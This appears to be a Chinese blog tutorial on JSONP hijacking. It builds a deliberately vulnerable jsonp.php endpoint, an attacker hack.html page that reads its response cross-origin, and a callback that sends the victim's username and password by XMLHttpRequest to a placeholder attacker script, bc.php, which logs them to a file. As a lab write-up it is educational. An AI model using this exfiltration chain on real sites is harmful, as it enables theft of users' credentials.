Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
php 全局变量范围分析
Aug 07 PHP
php变量作用域的深入解析
Jun 03 PHP
ThinkPHP CURD方法之order方法详解
Jun 18 PHP
PHP中使用循环实现的金字塔图形
Nov 08 PHP
Yii框架中memcache用法实例
Dec 03 PHP
PHP使用PHPexcel导入导出数据的方法
Nov 14 PHP
php阿拉伯数字转中文人民币大写
Dec 21 PHP
PHP+JQUERY操作JSON实例
Mar 23 PHP
Laravel接收前端ajax传来的数据的实例代码
Jul 20 PHP
PHP让数组中有相同值的组成新的数组实例
Dec 31 PHP
PHP addcslashes()函数讲解
Feb 03 PHP
yii2.0框架使用 beforeAction 防非法登陆的方法分析
Sep 11 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
PHP采集利器 Snoopy 试用心得
2011/07/03 PHP
PHP中static关键字原理的学习研究分析
2011/07/18 PHP
PHP反向代理类代码
2014/08/15 PHP
php获取文件类型和文件信息的方法
2015/07/10 PHP
DWZ+ThinkPHP开发时遇到的问题分析
2016/12/12 PHP
xml 与javascript结合的问题解决方法
2007/03/24 Javascript
可自定义速度的js图片无缝滚动示例分享
2014/01/20 Javascript
AngularJS中取消对HTML片段转义的方法例子
2015/01/04 Javascript
jquery插件jquery.confirm弹出确认消息
2015/12/22 Javascript
bootstrap 模态框(modal)实现水平垂直居中显示
2017/01/23 Javascript
深入探究angular2 UI组件之primeNG用法
2017/07/26 Javascript
基于ExtJs在页面上window再调用Window的事件处理方法
2017/07/26 Javascript
Vue 2.5 Level E 发布了: 新功能特性一览
2017/10/24 Javascript
Vue.js 动态为img的src赋值方法
2018/03/14 Javascript
JavaScript常用数组操作方法,包含ES6方法
2020/05/10 Javascript
基于vue.js实现购物车
2020/01/15 Javascript
Vue自定义render统一项目组弹框功能
2020/06/07 Javascript
Python入门篇之文件
2014/10/20 Python
Python单元测试框架unittest使用方法讲解
2015/04/13 Python
详细解读Python中的__init__()方法
2015/05/02 Python
Python实现批量下载图片的方法
2015/07/08 Python
在django中使用自定义标签实现分页功能
2017/07/04 Python
Python利用openpyxl库遍历Sheet的实例
2018/05/03 Python
面向初学者的Python编辑器Mu
2018/10/08 Python
python如何获取当前文件夹下所有文件名详解
2019/01/25 Python
Python替换月份为英文缩写的实现方法
2019/07/15 Python
python3+selenium获取页面加载的所有静态资源文件链接操作
2020/05/04 Python
python线程优先级队列知识点总结
2021/02/28 Python
社会实践自我鉴定
2013/11/07 职场文书
大学生创业项目方案
2014/03/08 职场文书
激励口号大全
2014/06/17 职场文书
纺织工程专业推荐信
2014/09/08 职场文书
出生公证书
2015/01/23 职场文书
元宵节寄语大全
2015/02/27 职场文书
mysql分组后合并显示一个字段的多条数据方式
2022/01/22 MySQL
TV动画「神渣☆爱豆」公开第一弹主视觉图
2022/03/21 日漫